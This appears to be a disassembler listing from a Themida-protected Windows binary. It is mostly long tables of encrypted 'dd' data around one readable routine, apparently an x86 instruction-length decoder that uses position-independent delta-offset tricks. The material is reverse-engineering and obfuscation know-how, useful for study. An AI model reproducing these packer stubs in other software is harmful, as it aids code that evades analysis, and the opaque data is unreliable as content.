		dd 2E6784B7h, 42B6CD6h,	535B0CD6h, 8BEBB261h, 0CAA447A9h
		dd 93C05D90h, 1A434372h, 0B9281B92h, 0AED5621Ch, 0E3591C32h
		dd 2D711F40h, 0B1132081h, 76D80341h, 0B98921D9h, 0BE132081h
		dd 2B05581Dh, 4120BDF0h, 4526489Fh, 0F0B66485h,	0FE132089h
		dd 49CAEB88h, 91000000h, 27014362h, 3F0CBDE8h, 4481DDE7h
		dd 801DE715h, 0A7176F52h, 294D5604h, 43B91C32h,	0F2300A15h
		dd 52702AC7h, 0B013200Bh, 52164473h, 9DB6E417h,	82EDE79Eh
		dd 1170F86Ch, 32D33A64h, 70B86843h, 0D3B84526h,	7E000000h
		dd 275588C2h, 94DFB1Ch,	3C16C91Ah, 53CEF87Fh, 41B109EAh
		dd 0E0AAD803h, 0BDFBE17Eh, 38596492h, 0C95CC48Ah, 0B754CA16h
		dd 752397D1h, 16C95C31h, 42E547BDh, 1308A013h, 59F6EF54h
		dd 70A3DDA1h, 4E539ECDh, 7593A7BAh, 0D50431D8h,	2493FDA4h
		dd 8F49E6EDh, 16C95D82h, 163366A0h, 0A5D00FE9h,	0BFCAD77h
		dd 2D123ADBh, 0D42C6502h, 3E13C164h, 681C2F02h,	37754FF2h
		dd 0CB09EF0Ch, 1DD96FA0h, 0F8698Ah, 39144h, 0DF064600h
		dd 71A0DCC2h, 2316E54h,	91C4FFE5h, 25508E74h, 0D4DE0408h
		dd 684E6B96h, 0FDE30027h, 907693BEh, 39062356h,	0D9E4AA58h
		dd 91EA1327h, 5984C2B3h, 0EF1C563Ch, 72486B1h, 0A0DFB9DAh
		dd 1A014575h, 178D16C9h, 88C24C7Ah, 29632755h, 0A14FBFFCh
		dd 16C91ADDh, 0DB096BE1h, 0D892AF11h, 16C91AEBh, 59FC6CC4h
		dd 32140EABh, 2EDCFD1Ch, 13201C68h, 81630076h, 7BC0EE0Bh
		dd 73564A1h, 0AAEC9A3Dh, 3416C91Ah, 13B21BEh, 0A2DCA0CEh
		dd 0C119526Fh, 7700AE51h, 0F71C3223h, 87BB5381h, 0F013200Ch
		dd 5D37264Fh, 7655F221h, 4526C5AAh, 5FC6h, 176F8C00h, 9E304A7h
		dd 0A7719FCAh, 1A105604h, 289E16C9h, 29D0D18Bh,	11EB1C32h
		dd 0B67AA8D3h, 501A487Bh, 0F96F51EEh, 0B0F33CBh, 0CF681320h
		dd 9E4CB4F5h, 13200BD8h, 0E00E70E6h, 31447916h,	26C6D67Ah
		dd 0B08FBE45h, 9D0E1BBFh, 20E2FCCh, 0D5000001h,	22FC8BA6h
		dd 744F45Eh, 0ABD976D8h, 0B25588C2h, 1AA3E391h,	0B52B16C9h
		dd 5E9C6018h, 276F16E4h, 567EC85h, 1D4C8862h, 328ACC7Ah
		dd 9E1416C9h, 4B854901h, 0EC26EA18h, 3284CA78h,	940A16C9h
		dd 565B1532h, 8516C93Eh, 0A23F6EABh, 600E82BCh,	16C9361Eh
		dd 0ABC82AA0h, 2A588BC5h, 0A84BBB13h, 4170AD87h, 12984913h
		dd 17D6BBEh, 6FC8821Fh,	641C323Fh, 2FDD4D8Ah, 1320356Fh
		dd 3B97F96Fh, 0D8A2D0FFh, 0C6E3593Bh, 22C5358Dh, 0BBEA2701h
		dd 6C26C38Dh, 19C6BE41h, 4F701389h, 0D0287D20h,	0B04D572Fh
		dd 0BE618CCAh, 0DF7CA3E4h, 0E9145238h, 72ABC8B8h, 0E39F976Fh
		dd 1CEh, 0FF1C4383h, 91AEDD19h,	223F6EABh, 0B1CE013Ch
		dd 45628DCBh, 0DB19A141h, 6CAD93B0h, 3422845h, 9BD5BBD8h
		dd 9D7E4B68h, 27DFAFEFh, 0F8D62F13h, 3C5984C2h,	0CCE91C56h
		dd 8B1E709Fh, 1B74672Fh, 0B14EB0DFh, 0A7176F83h, 294D5604h
		dd 4D6E1C32h, 200BDF9Fh, 0CC69DF13h, 0F7D174EAh, 925C8ABDh
		dd 9DA53DF5h, 0DA13200Bh, 2C722041h, 0AE13200Bh, 72E84073h
		dd 7DABDA16h, 94E116B3h, 26C64917h, 0D06745h, 0C22D0000h
		dd 63275588h, 3657FA25h, 0C91AC688h, 1D58C816h,	0F02C88EAh
		dd 0D46C24C1h, 16C916DFh, 5024CDFCh, 3360D603h,	0C9A4C185h
		dd 0F557CD16h, 5387258h, 95C802E8h, 88F85067h, 0AB9E37E5h
		dd 0BB951C32h, 57214F7Eh, 2D509CA6h, 0EA870E91h, 0CEEF9208h
		dd 20125E20h, 47EA6013h, 2012D599h, 0C663D913h,	1E8EE61Fh
		dd 3467A17Bh, 0B2BC6A97h, 0BC19C68Dh, 8BC9A346h, 1F5D4360h
		dd 8FE1C3F4h, 38306F72h, 0C17Ch, 0F367600h, 0A1D00CF2h
		dd 32619E84h, 0C1F42F15h, 5580BEA4h, 4AE3438h, 987E9BC6h
		dd 2D133057h, 0C0A6C3EEh, 69365386h, 0DC94DA88h, 0C11A1327h
		dd 5984C2E3h, 0A81C563Ch, 0C91AB4FAh, 0CEF53616h, 65A40076h
		dd 0E0420C3Ah, 0A17B95C3h, 3D073564h, 4D80BAA0h, 0EE215B1Fh
		dd 0D04098D1h, 900A7F2Dh, 0D64C1C32h, 77AAE4A8h, 0D3A745Ah
		dd 9F42A4CFh, 15833870h, 0CA67EBA1h, 15837A12h,	5679E4C4h
		dd 6F1D3E1Fh, 69C6552Fh, 1D8839AFh, 6A347026h, 0ABE5CB68h
		dd 542E5B78h, 694FEC13h, 0ACEFC2Fh, 1FF99CCFh, 5F17B4E3h
		dd 3371047Bh, 0EC977F9h, 0B3381184h, 144E3451h,	3F7B3E1h
		dd 37000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh,	6DAE72A0h
		dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
		dd 68864775h, 34F0h, 57242C89h,	0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 7F68243Ch, 89000061h, 0BE562404h,	5EEBAD6h
		dd 89F08950h, 545E58C7h, 8324048Bh, 0EC8304C4h,	243C8904h
		dd 0FF08408Fh, 81582434h, 4C4h,	243C8B00h, 81E78957h, 4C7h
		dd 4C78100h, 87000000h,	0E95C243Ch, 0FFFAB85Fh,	0B8459FEEh
		dd 5EEC732h, 0E0FFC503h, 7C05C1B7h, 1C9DB25h, 157335BDh
		dd 731B8EDEh, 0C8358D8Dh, 0BF0F05EEh, 558D89F2h, 0E905E926h
		dd 0Fh,	5083B848h, 0C5B4F4ACh, 77F541DAh, 0C75DA0D3h, 0E9080585h
		dd 6A7805h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 7CFBB5Bh,	61BD0199h, 8905E905h, 0E90801B5h
		dd 3D85C705h, 5E916h, 1000000h,	0E91EC185h, 55B5FF05h
		dd 0FF05E92Fh, 0E90BC595h, 0A1BD8905h, 6A05E91Ch, 9595FF00h
		dd 8B05E91Eh, 0BE49EBC0h, 0DE65BF33h, 3A02E83Fh, 4CB7F086h
		dd 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh,	9CA3292Bh
		dd 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 306410DCh, 88BC2688h
		dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0B9943CF3h
		dd 5E8h, 0F9BD0E00h, 0BBB17F4Dh, 0A9958958h, 8105E90Ah
		dd 6B01C0h, 0EE900h, 7A170000h,	0A587DD50h, 6C8F293Fh
		dd 0C53EFD42h, 0BAh, 21BD8B00h,	8B05E906h, 8A0F101Ch, 11h
		dd 0CE9h, 94F10700h, 0BA6531Ch,	572551D4h, 71EB81CEh, 81388E4Fh
		dd 0F4620FDEh, 0BAC3811Eh, 0FC5DA356h, 6641C381h, 0BD2B4873h
		dd 5E91D15h, 10048F53h,	54D8D8Bh, 816605E9h, 8356CAE9h
		dd 4AF502EAh, 7995014Ah, 8105E926h, 0FF9590FAh,	0A0850FFFh
		dd 0FFFFFFFh, 0C8E9F3BFh, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0EECAF5EDh, 85C76005h
		dd 5EECA42h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0EECA4685h, 605h
		dd 24E900h, 858D0000h, 5EECA4Ah, 9A858D50h, 5005EECAh
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0CA468589h, 36105EEh
		dd 0EECA46B5h, 42858B05h, 5D05EECAh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59AD4E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59AD5A
; ---------------------------------------------------------------------------


loc_59AD4E:				; CODE XREF: Themida_:0059AD37j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_59AD5A:				; CODE XREF: Themida_:0059AD49j
		push	ebx
		push	esi
		push	edi


loc_59AD5D:				; CODE XREF: Themida_:0059ADB2j
					; Themida_:0059ADCEj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_59AD70:				; CODE XREF: Themida_:0059AD97j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EECBACh
		lea	ebp, [ebp+5EECA22h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59AD9D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59AD70


loc_59AD9D:				; CODE XREF: Themida_:0059AD8Cj
		cmp	cl, 0Bh
		jz	loc_59ADFA
		cmp	al, 66h
		jnz	loc_59ADDB
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59AD5D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59ADD3
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59AD5D
; ---------------------------------------------------------------------------


loc_59ADD3:				; CODE XREF: Themida_:0059ADC0j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_59ADDB:				; CODE XREF: Themida_:0059ADA8j
		cmp	al, 67h
		jnz	loc_59AD5D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59AD5D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59AD5D
; ---------------------------------------------------------------------------


loc_59ADFA:				; CODE XREF: Themida_:0059ADA0j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59AE26
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59AE2B
; ---------------------------------------------------------------------------


loc_59AE26:				; CODE XREF: Themida_:0059AE05j
		movzx	edi, al
		shr	edi, 1


loc_59AE2B:				; CODE XREF: Themida_:0059AE21j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EECC64h
		lea	ebp, [ebp+5EEC922h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59AFAD
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59AEF1
		dec	ecx
		jz	loc_59AED4
		dec	ecx
		jnz	loc_59AF44
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59AF40
		cmp	byte ptr [ebp-5], 0
		jz	loc_59AEB3
		mov	byte ptr [ebp+0Bh], 2


loc_59AEB3:				; CODE XREF: Themida_:0059AEA9j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EECCF0h
		mov	dword ptr [ebp+5EECA42h], 1
		pop	ebp
		jmp	loc_59AF44
; ---------------------------------------------------------------------------


loc_59AED4:				; CODE XREF: Themida_:0059AE8Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59AF1E
		cmp	byte ptr [ebp-5], 0
		jz	loc_59AF1E
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59AF1E
; ---------------------------------------------------------------------------


loc_59AEF1:				; CODE XREF: Themida_:0059AE87j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59AF37
		cmp	byte ptr [ebp-5], 0
		jz	loc_59AF26
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59AF1E
		mov	[ebp+0Bh], cl


loc_59AF1E:				; CODE XREF: Themida_:0059AED8j
					; Themida_:0059AEE2j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59AF44
; ---------------------------------------------------------------------------


loc_59AF26:				; CODE XREF: Themida_:0059AEFFj
		cmp	dl, 5
		jnz	loc_59AF44
		mov	[ebp+0Bh], dl
		jmp	loc_59AF44
; ---------------------------------------------------------------------------


loc_59AF37:				; CODE XREF: Themida_:0059AEF5j
		cmp	dl, 6
		jnz	loc_59AF44


loc_59AF40:				; CODE XREF: Themida_:0059AE9Fj
		mov	byte ptr [ebp+0Bh], 3


loc_59AF44:				; CODE XREF: Themida_:0059AE95j
					; Themida_:0059AECFj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59AF72
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_59AF54:				; CODE XREF: Themida_:0059AF6Aj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59AF54
		mov	esi, edx


loc_59AF72:				; CODE XREF: Themida_:0059AF47j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59AFA7
		cmp	edi, 7Fh
		ja	loc_59AFA7
		test	bl, 38h
		jnz	loc_59AFA7
		cmp	byte ptr [ebp-7], 0
		jz	loc_59AFA1
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59AFA4
; ---------------------------------------------------------------------------


loc_59AFA1:				; CODE XREF: Themida_:0059AF92j
		push	1
		pop	eax


loc_59AFA4:				; CODE XREF: Themida_:0059AF9Cj
		mov	[ebp-1], al


loc_59AFA7:				; CODE XREF: Themida_:0059AF76j
					; Themida_:0059AF7Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_59AFAD:				; CODE XREF: Themida_:0059AE57j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59AFD8
		dec	eax
		dec	eax
		jz	loc_59AFCE
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59AFE0
; ---------------------------------------------------------------------------


loc_59AFCE:				; CODE XREF: Themida_:0059AFBDj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59AFDD
; ---------------------------------------------------------------------------


loc_59AFD8:				; CODE XREF: Themida_:0059AFB5j
		mov	al, [ebp-3]
		add	al, 4


loc_59AFDD:				; CODE XREF: Themida_:0059AFD3j
		add	[ebp-1], al


loc_59AFE0:				; CODE XREF: Themida_:0059AFC9j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59B008
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59AFF3:				; CODE XREF: Themida_:0059B002j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59AFF3


loc_59B008:				; CODE XREF: Themida_:0059AFE8j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '‹Ðë$',0
		dd 8 dup(0)
		dd 0E9000000h, 0BDh, 0CE46B589h, 858B05EEh, 5E901BDh, 2F1D858Bh
		dd 0B58D05E9h, 5EECE90h, 4E23858Dh, 0D0FF05ECh,	0E855C3h
		dd 5D000000h, 0CE96ED81h, 0BD8305EEh, 5E901BDh,	2C850F01h
		dd 0FF000000h, 0EECE46B5h, 1D858B05h, 3505E92Fh, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 4AB58D1Ch, 5605EECEh, 0CE46B5FFh,	858B05EEh
		dd 5E92F1Dh, 81273635h,	83D0FF34h, 0B58D0CC4h, 5EECE4Ah
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	0E901BDBDh, 850F0105h, 7, 2E9C35Dh
		dd 5D000000h, 6F858DCFh, 8905EECEh, 0E92D8985h,	98E905h
		dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 0A26D0000h, 0BDE95D0Fh, 6800000Ah, 5EED16Eh,	0FAB012E9h
		dd 0D26368FFh, 8E905EEh, 68FFFAB0h, 5EED380h, 0FAAFFEE9h
		dd 0D41468FFh, 0F4E905EEh, 68FFFAAFh, 5EED529h,	0FAAFEAE9h
		dd 0D5AB68FFh, 0E0E905EEh, 68FFFAAFh, 5EED81Ch,	0FAAFD6E9h
		dd 0D92068FFh, 0CCE905EEh, 98FFFAAFh, 2E143158h, 0C0A6C3F2h
		dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h
		dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 1327CABAh, 0C20DEB44h
		dd 63275588h, 0ACD9F629h, 0E7AC607Dh, 79165A74h, 0D578E840h
		dd 0CAD473A6h, 0A441DD13h, 784CC977h, 5CD21C32h, 57AC962Eh
		dd 2ACB1320h, 9EB0604Bh, 4BB04526h, 77000000h, 8132619Dh
		dd 0EBE21493h, 0BEEC8957h, 4A7176Fh, 32294D56h,	0A043B91Ch
		dd 2D5B8AC6h, 9DFF2A69h, 92B04800h, 0E513200Bh,	0D67A3144h
		dd 0BE4526C6h, 0B551568Fh, 5A2FCE4h, 0EFE4h, 0E27CAB00h
		dd 0FB0563A2h, 0A3CA0B67h, 88C2D806h, 25632755h, 0CE08CCFAh
		dd 29D7F89Bh, 16C91A65h, 9FF72A65h, 65C7EE2Fh, 124C10C8h
		dd 7D08C2DFh, 0C116C916h, 0D7B15487h, 50BE1B9Dh, 8584D70Dh
		dd 0F9DF8623h, 475E8CBFh, 2EDC7FEFh, 1C31159Dh,	8A5214D9h
		dd 336951A3h, 0AD87B4D1h, 0EE9C3F72h, 1320B1A8h, 0EA23C036h
		dd 0D17F2292h, 19C639CDh, 6BAED706h, 5684B7F2h,	3F1CDB8Ch
		dd 49BFA13Eh, 698ECCA6h, 0AB59FC2Fh, 16CBE3EBh,	0FE1B7DF3h
		dd 7EAFDA18h, 6F723F86h, 8315D1C9h, 54000008h, 0EAD0ED14h
		dd 7C627FAEh, 0DF3103Fh, 9C829FD2h, 1216335Eh, 81ACEAD0h
		dd 163D7E64h, 0A9D413F9h, 396CA68Ch, 0C06E4F1Ch, 1327CBFEh
		dd 7BC9A700h, 0B3960A1h, 6F11DEF2h, 0D537C445h,	0E9145238h
		dd 79ACE6CCh, 14552F5Ch, 2486B9F3h, 618F2CF6h, 4A7176Fh
		dd 32294D56h, 0FB3F6E1Ch, 796C524Eh, 0AC793DEBh, 0F851320h
		dd 0E41751ADh, 0C1EF6547h, 20AC1929h, 0B8BD5E13h, 26612DF3h
		dd 0C14345h, 300A0000h,	0CE98C6F1h, 88C20331h, 0FB1C2755h
		dd 0C91A094Dh, 821F9516h, 5335E9Ch, 0C916126Dh,	0E71A5416h
		dd 77AAE4CAh, 6ADA3249h, 0F3A019C7h, 31F61C31h,	5C382089h
		dd 0C1DE4063h, 1DC03088h, 0C629DC6Fh, 7CB62619h, 6A44E749h
		dd 4509B22Ch, 0C82DC4B8h, 25634966h, 0F7465AABh, 0CBCA0549h
		dd 62138916h, 5CBEE1DEh, 72FE612Bh, 3CF8F06Fh, 78Eh, 0DBF81F5Fh
		dd 6D8AB9F5h, 0FE1B4A87h, 8DAADD18h, 213E69A7h,	0AFEDC51Dh
		dd 40816784h, 0D716FC19h, 6FA98FACh, 71521F3Ch,	27C883C3h
		dd 0D4B20B13h, 3C5984C2h, 0E39A1C56h, 4C7BB7D6h, 4CA3541Eh
		dd 29CC2E11h, 51145A08h, 249A16C9h, 0C2B2E087h,	1C275588h
		dd 1A094DFBh, 1F9516C9h, 2F629C82h, 1181D912h, 0DB87C06Eh
		dd 51C71C32h, 76B38DAEh, 1A551947h, 8DEFB9E7h, 5CD00AF0h
		dd 27D5E8AEh, 0DD80F613h, 27D56F2Fh, 97F96F13h,	5FDD1AF4h
		dd 0DEB0B65Dh, 0BF5CBE92h, 1CCAEB18h, 1327D75Ah, 9751EE64h
		dd 1327D747h, 0B6E522FCh, 5887C488h, 61FE602Ah,	2665D128h
		dd 31649FFBh, 378EB2CFh, 9D40B008h, 0DCD10EEFh,	0ABDA5019h
		dd 1700EC15h, 0FB6BC38Ah, 185DAA58h, 2BA18FFDh,	1E8EE6FDh
		dd 5F2B5A7Bh, 39ABEEA1h, 1B7A34D1h, 5F8A13AEh, 2E6C46E9h
		dd 18396603h, 0A6D4FF3Eh, 4C7AA1E2h, 66F2082h, 1A562538h
		dd 77B19734h, 7412744h,	22DFA3D4h, 766EDBABh, 671BAh, 0DB024200h
		dd 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h, 214C8A70h,	0D8E20004h
		dd 6C526F9Ah, 1E7042Bh,	947A97C2h, 3D0A275Ah, 0C9E8AE5Ch
		dd 9DF61327h, 805A7BBFh, 1EE81641h, 0C91AA8EEh,	23C03616h
		dd 7F2292EAh, 32DBF4D1h, 0D915EF1Ch, 742B0DAAh,	27D580C6h
		dd 5115C313h, 5D1327D5h, 71CA8FE7h, 1547D077h, 42F093F5h
		dd 1327D57Ch, 7AA0C82h,	92C0F32Dh, 1ECA2F79h, 0B91BDF7Dh
		dd 0D915EF1Ch, 6BA78DAAh, 104A0E3Ch, 1FD6ACDDh,	7D756987h
		dd 5DDC1h, 476EAE00h, 0D908442Ah, 6A99D6BCh, 0F92C674Dh
		dd 8DB8F6DCh, 3C766C70h, 0D0B6D3FEh, 654B688Fh,	0F8DEFB26h
		dd 0A16E8BBEh, 0CE4C12C0h, 0F9521327h, 0A7176F1Bh, 0DB695604h
		dd 0F0B51C32h, 475CF5F1h, 7AB9151Fh, 0F557214Fh, 0B3E7852h
		dd 0F25EB5EEh, 8F5987B6h, 96DC8A2Dh, 0C51327C2h, 0E582ADEBh
		dd 0C75F8D03h, 1327C2FAh, 64A1CE08h, 0DB3D0735h, 7DACE9ADh
		dd 234A8B4Fh, 62852BF5h, 8B248B13h, 1B4970B1h, 0F67FB451h
		dd 210BEBB5h, 3A0545h, 0ABCC0000h, 376594D1h, 0CA793D6Dh
		dd 0F851327h, 1B4974B3h, 6F86B451h, 5503A618h, 16C91A15h
		dd 65FD2BA1h, 16C91A5Dh, 2F7CF99Ah, 40CFD361h, 77Fh, 9ACA4500h
		dd 0A000001h, 0B40C4384h, 12F3A144h, 5C1C321Ch,	9D9E2E97h
		dd 0DD3F6699h, 0AA8C18AEh, 0E73FB387h, 0D926D477h, 25B67153h
		dd 9C7681AFh, 58912E61h, 3FED9000h, 0B39F3150h,	0A781249Ah
		dd 371D3A6Dh, 6999CAFDh, 0BCC52F0Bh, 4C808C4h, 59990000h
		dd 0F32F1532h, 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h
		dd 0A9C6F12Fh, 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h
		dd 4D1327CFh, 4C7B16F4h, 0CF96E4B7h, 0F6318DE5h, 64026C3h
		dd 610F30D3h, 16C9551Dh, 0D68E2BA1h, 8B667BFh, 16C95546h
		dd 550F4FFDh, 198F16C9h, 46E94BC1h, 32651398h, 90AD231Ch
		dd 74370AAh, 0ACE6AAD8h, 7DBB1779h, 0F85A2452h,	8BD6A5C7h
		dd 38F4EC69h, 446h, 93B0D717h, 254271ADh, 0B6D3023Fh, 456295D0h
		dd 0D9F6215Fh, 67A50DD5h, 0F8391F3Ch, 8FCEB4D1h, 27614764h
		dd 290AD7F4h, 27CF3B7Bh, 8C6AC313h, 275588C2h, 0DBB52963h
		dd 7C42729Dh, 8216C91Ah, 0B87CAA0Ch, 581C4A7Dh,	0AFBDEB1Eh
		dd 80BBE98Ch, 0F3551F4Dh, 3B690C6Bh, 0D2B1CE01h, 40CFD30Eh
		dd 2722h, 0D50FE900h, 0DAA74A2h, 0A7176FDFh, 14F55604h
		dd 0CB411C32h, 1C3D059Dh, 993A1320h, 0D101CFDCh, 421F4526h
		dd 0E5000000h, 4A7176Fh, 325C3956h, 6C0F851Ch, 84275692h
		dd 0A8F26CAAh, 0D7229921h, 4AF18EF0h, 204BB390h, 6FAE8813h
		dd 4B115503h, 279D1320h, 84228C5h, 96D2B8D5h, 7F7D3967h
		dd 0BE000003h, 0DA77AAE4h, 0A7176FACh, 0FD595604h, 6FE51C31h
		dd 10437D41h, 0B6DD1EE2h, 5689C488h, 0FA256428h, 0FC9902CCh
		dd 5C7F2579h, 296A4419h, 590AD402h, 85A88A59h, 91CA67E0h
		dd 7826C939h, 19D8C97Fh, 866C89FFh, 0D4EB194Ch,	0BB690C7Ch
		dd 1C3231F6h, 25F876A5h, 69EDB15Fh, 7BF11320h, 0D966BBCAh
		dd 0B6E45A3Ch, 431A5BD2h, 0DB327422h, 46BC1320h, 5689C3A9h
		dd 38A80039h, 0CB9B6695h, 724692B2h, 0F1FAA8D5h, 8519DB9Eh
		dd 0E31DE10Fh, 279E82B0h, 3BAB034Eh, 92E1EA98h,	0FF751C32h
		dd 8FC2FCE2h, 3F7C5661h, 4F8D7310h, 0C5E8F624h,	87BAF4B0h
		dd 69D9316Ah, 8DCBA5C6h, 0E91B3462h, 0B3F75C49h, 0ECA643A5h
		dd 19DBC5A7h, 0D79BC93Fh, 235709Dh, 7AA80AD4h, 7561F96h
		dd 25C2F12Dh, 812494ECh, 32D79ED3h, 7592081Ch, 0F422558Fh
		dd 0A6C3F630h, 2A5156Dh, 0DBCEDB54h, 0BFED6319h, 0C9E11B27h
		dd 0BABB5C16h, 0CF282FF1h, 384140h, 6F070000h, 0E304A717h
		dd 0C91A7135h, 6A077D16h, 29928F3Dh, 2FF41C32h,	0D53F37ECh
		dd 0D016C71Eh, 124F298Ah, 59DCB2Dh, 1320093Dh, 0CFDC993Ah
		dd 4526C401h, 9D1Fh, 88C2E500h,	0B3D95A06h, 399BFCF9h
		dd 0DE09470Bh, 7FB2ECB0h, 20538D51h
		dd 2C3E4903h, 468016C9h, 0D610F613h, 0DB3D6CA9h, 0CE3E96ADh
		dd 2BD07D2Bh, 0A81E1C32h, 76AED605h, 0D788B7F4h, 6D0A5540h
		dd 84BF99C6h, 237BB451h, 776210B3h, 0BB19C61Eh,	8AC8A245h
		dd 1E5C425Fh, 0F086C2F3h, 1F96F72h, 1D545h, 3F66A600h
		dd 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h, 347E6468h
		dd 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h, 0C2440AB8h
		dd 0F14A1327h, 5984C213h, 0E91C563Ch, 176F9ECCh, 1AF6B866h
		dd 41F816C9h, 0C91AD393h, 365DB16h, 5350FEA1h, 0B31C3229h
		dd 9EDD0643h, 81AF1173h, 200BD9E9h, 56851E13h, 7CBF904Eh
		dd 6F2FDD02h, 6F1320D4h, 0C5FA97F9h, 1955FBB0h,	0D44B4526h
		dd 11000000h, 275588C2h, 0CCFA2563h, 0C9164934h, 20538D16h
		dd 0BFFCD603h, 0D30DF390h, 0A386BA6h, 0ACDA0946h, 7B1E80E2h
		dd 4C42F94Ch, 0B5116563h, 0F8B04D74h, 68D413EDh, 0C984F4BAh
